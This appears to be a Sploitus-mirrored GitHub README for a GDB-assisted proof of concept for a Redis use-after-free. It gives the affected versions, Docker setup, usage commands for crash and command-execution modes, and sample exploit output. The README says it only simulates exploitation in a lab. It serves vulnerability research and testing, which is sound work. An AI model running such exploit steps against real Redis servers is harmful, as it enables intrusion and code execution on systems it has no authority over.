Sploitus

Exploit for Use After Free in Redis

githubexploit · 2026-08-04

Exploit Code

README306 lines
## https://sploitus.com/exploit?id=1DB0D250-EDB8-5F73-8BEE-FBC8561EC0C1
# 🔥 CVE-2026-23479 – Redis UAF Proof of Concept

[![License](https://img.shields.io/badge/license-MIT-blue.svg)](LICENSE)
[![Python](https://img.shields.io/badge/python-3.8+-blue?logo=python)](https://python.org)
[![Docker](https://img.shields.io/badge/docker-required-2496ED?logo=docker)](https://docker.com)
[![CVE](https://img.shields.io/badge/CVE-2026--23479-red)](https://nvd.nist.gov/vuln/detail/CVE-2026-23479)
[![PoC](https://img.shields.io/badge/status-poc-orange)](#)

> **Use-After-Free in Redis `unblockClientOnKey()` leading to Remote Code Execution**  
> Proof of concept with GDB‑assisted exploitation (educational / lab use only)

---

## 📖 Overview

**CVE-2026-23479** is a critical **Use‑After‑Free (UAF)** vulnerability in Redis versions 7.2.0 through 8.6.2.  
The bug resides in `unblockClientOnKey()` which calls `processCommandAndResetClient()` **without checking its return value**.  
If the client is freed during that call (e.g. due to eviction), the caller continues to operate on a dangling pointer → **UAF**.  
An attacker who can shape the heap after the free may achieve **arbitrary code execution**.

This repository provides a **GDB‑assisted PoC** that:

- Triggers the exact vulnerable code path
- Proves the UAF by deliberately causing a crash (`freeClient()` call)
- Demonstrates **arbitrary command execution** by injecting a `system()` call at the same point

> ⚠️ **Important:** This is **not** a weaponised exploit. It uses GDB inside a privileged Docker container to **simulate** what a real attacker could achieve after successfully exploiting the UAF.  
> Use it **only** in your own lab or on systems you have explicit permission to test.

---

## ✨ Features

- 🧪 **Four operation modes** – `crash`, `gdb`, `rce`, `full`
- 🐳 **Docker‑based** – no need to install a vulnerable Redis on the host
- 🔍 **Automatic version detection** – checks whether the target is in the affected range
- 🧹 **Self‑cleaning** – kills stale GDB sessions before each run
- 🎯 **Flexible container name** – pass any container via `--container`
- 📦 **Single Python file** – zero dependencies beyond the standard library

---

## 🧠 How It Works

1. **Block a victim** – An `XREAD BLOCK` command makes the client wait for stream data.
2. **Attach GDB** – GDB attaches to the Redis process (`pid 1`) inside the container.
3. **Set a breakpoint** on `processCommandAndResetClient` – the function called when the blocked client is re‑processed.
4. **Trigger unblock** – An `XADD` on the same stream wakes the victim.
5. **On breakpoint hit**:
   - **`gdb` mode:** calls `freeClient($rdi)` → deliberately causes a **SIGSEGV** → proves UAF.
   - **`rce` mode:** calls `system("your command")` → executes arbitrary shell commands as the Redis user (`root` by default).
6. **Verify** – the script checks whether the expected proof file exists (RCE) or whether Redis crashed (UAF).

The breakpoint fires **every time** a blocked client is unblocked, showing that **the same code path** that contains the UAF also allows code execution.

---

## 📋 Affected Versions

| Branch | Vulnerable Range |
|--------|------------------|
| 7.2    | 7.2.0 – 7.2.13   |
| 7.4    | 7.4.0 – 7.4.8    |
| 8.2    | 8.2.0 – 8.2.5    |
| 8.4    | 8.4.0 – 8.4.2    |
| 8.6    | 8.6.0 – 8.6.2    |

The script automatically parses the Redis version and reports whether it is vulnerable.

---

## 🐳 Prerequisites

- **Docker** installed and running
- **Python 3.8+** (only stdlib used)
- A Redis **8.6.2** Docker image that uses `apt` (e.g. the official `redis:8.6.2`)
- The container must be created with **`--privileged`** (required for `ptrace`)

---

## ⚙️ Setup

### 1. Clone the repository
```bash
git clone https://github.com/YOUR_USERNAME/CVE-2026-23479-PoC.git
cd CVE-2026-23479-PoC
```
### 2. Start a vulnerable Redis container
```bash
docker run -d --name redis-vuln-local --privileged -p 6379:6379 \
  redis:8.6.2 redis-server --protected-mode no
```
### 3. Install GDB inside the container
```bash
docker exec -u root redis-vuln-local bash -c "
  apt-get update && apt-get install -y gdb binutils procps
"
```
### 4. Verify
```bash
docker exec redis-vuln-local gdb --version
redis-cli -h 127.0.0.1 -p 6379 ping   # should return PONG
```

## 🚀 Usage
```bash
python3 redisexp.py  -p  -m  --container  [--cmd "command"]
```

## Modes

| Mode | Description |
|------|-------------|
| `crash` | Attempt to trigger UAF via memory pressure (no GDB required). Redis may crash, but not guaranteed. |
| `gdb` | Attach GDB and call `freeClient()` at the breakpoint → forces a `SIGSEGV` (proves UAF). |
| `rce` | Attach GDB and call `system(cmd)` at the breakpoint → executes a shell command inside the container. |
| `full` | Run `crash` first; if Redis doesn't crash, fall back to `gdb`. |

---

## Options

| Argument | Default | Description |
|----------|---------|-------------|
| `target` | **(required)** | IP address of the Redis server |
| `-p`, `--port` | `6379` | Redis port |
| `-m`, `--mode` | `full` | One of `crash`, `gdb`, `rce`, `full` |
| `--container` | `env-redis-vuln-1` | Docker container name |
| `--cmd` | `id > /tmp/pwned_by_cve` | Command to execute in `rce` mode |

---

# 📚 Step-by-Step Examples

> **Note:** All commands are run from the **host machine**, **not** inside the Docker container.

## 1. Prove the UAF via GDB

```bash
python3 redisexp.py 127.0.0.1 -p 6379 -m gdb --container redis-vuln-local
```

### Expected Output (excerpt)

```text
[+] Victim blocked on XREAD
[+] GDB script deployed
[*] Triggering unblock via XADD...
[+] SIGSEGV in processCommand after freeClient()
[+] This confirms the UAF code path in unblockClientOnKey()
```

Redis will crash after the segmentation fault.

Restart the container:

```bash
docker start redis-vuln-local
```

---

## 2. Achieve Remote Code Execution (RCE)

Restart Redis to ensure a clean state:

```bash
docker restart redis-vuln-local
```

Run the exploit:

```bash
python3 redisexp.py 127.0.0.1 -p 6379 -m rce \
  --cmd "touch /tmp/pwned" \
  --container redis-vuln-local
```

Verify the proof file:

```bash
docker exec redis-vuln-local ls -l /tmp/pwned
```

If successful, the file will exist, proving that:

```c
system("touch /tmp/pwned");
```

was executed inside the Redis container.

---

## 3. Trigger the UAF Without GDB (Memory Pressure)

```bash
python3 redisexp.py 127.0.0.1 -p 6379 -m crash --container redis-vuln-local
```

If Redis exits unexpectedly (the container is no longer running), the UAF has likely been triggered.

Restart it with:

```bash
docker start redis-vuln-local
```

---

## 4. Run the Full Test

```bash
python3 redisexp.py 127.0.0.1 -p 6379 -m full --container redis-vuln-local
```

This mode:

1. Attempts the memory-pressure crash.
2. Falls back to the GDB-assisted method if Redis survives.

---

# 📸 Sample Output (RCE Mode)

```text
============================================================
  CVE-2026-23479 Redis UAF Exploit PoC
============================================================
[*] Target: 127.0.0.1:6379
[*] Version: 8.6.2
[+] VULNERABLE

[*] Method: RCE via UAF code path injection
    Exploits CVE-2026-23479 UAF in unblockClientOnKey()
    Breakpoint on processCommandAndResetClient -> system()
    Command: touch /tmp/pwned

[+] Victim blocked on XREAD
Successfully copied 2.05kB to redis-vuln-local:/tmp/cve_rce.gdb
[+] GDB RCE script deployed
[+] GDB attached, breakpoint active
[*] Triggering unblock via XADD...
[*] Checking for RCE evidence in /tmp/pwned...
[+] RCE CONFIRMED! Proof file /tmp/pwned created.
[+] Redis alive after exploit

============================================================
  Results
============================================================
  Target:     127.0.0.1:6379
  Version:    8.6.2
  Vulnerable: YES
  RCE:        CONFIRMED (arbitrary command execution)
============================================================
```

---

# 🔧 Modifications from the Original Script

The original PoC was hardcoded for a container named `env-redis-vuln-1` and contained several issues when executed with newer Python versions.

The updated version introduces the following improvements:

| Issue | Fix |
|------|-----|
| Hardcoded container name | Added the `--container` argument and propagated it through all functions. |
| `file` command placed inside the `commands` block in the GDB script | Moved `file /usr/local/bin/redis-server` before `attach` so GDB loads symbols correctly. |
| `subprocess.run()` used with both `capture_output=True` and `stderr=...` | Replaced with `stdout=subprocess.DEVNULL` and `stderr=subprocess.DEVNULL`. |
| Stale GDB processes causing `ptrace: Operation not permitted` | Added `pkill -9 gdb` before launching GDB in both `trigger_uaf_gdb()` and `trigger_rce()`. |
| No feedback when GDB failed silently | Added debug logging for GDB output and improved proof-file detection. |

---

# 🧹 Cleanup

```bash
docker stop redis-vuln-local
docker rm redis-vuln-local
```

---

# ⚠️ Disclaimer

This tool is intended **solely for educational purposes, authorized security research, and testing systems you own or have explicit permission to assess.**

The author does **not** condone or encourage unauthorized or malicious use.

Always obtain proper authorization before testing any production or third-party system.

---

# 📚 References

- **CVE-2026-23479** – NVD Detail
- Redis Security
- Redis GitHub Repository

---

Made with ❤️ for the security community.

**Stay ethical. Stay safe.**